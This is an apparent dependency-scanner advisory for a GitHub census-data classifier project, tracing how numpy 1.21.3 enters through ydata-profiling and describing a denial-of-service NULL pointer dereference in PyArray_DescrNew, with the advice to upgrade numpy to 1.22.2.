Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › phik@0.12.3 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › seaborn@0.12.2 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › statsmodels@0.13.5 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › visions@0.7.5 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › statsmodels@0.13.5 › patsy@1.0.1 › numpy@1.21.3Remediation: Upgrade to ydata-profiling@4.16.1.
Overview
numpy is a fundamental package needed for scientific computing with Python.
Affected versions of this package are vulnerable to NULL Pointer Dereference due to missing return-value validation in the PyArray_DescrNew function, which may allow attackers to conduct Denial of Service attacks by repetitively creating and sort arrays.
Note: This may likely only happen if application memory is already exhausted, as it requires the newdescr object of the PyArray_DescrNew to evaluate to NULL.
Remediation
Upgrade numpy to version 1.22.2 or higher.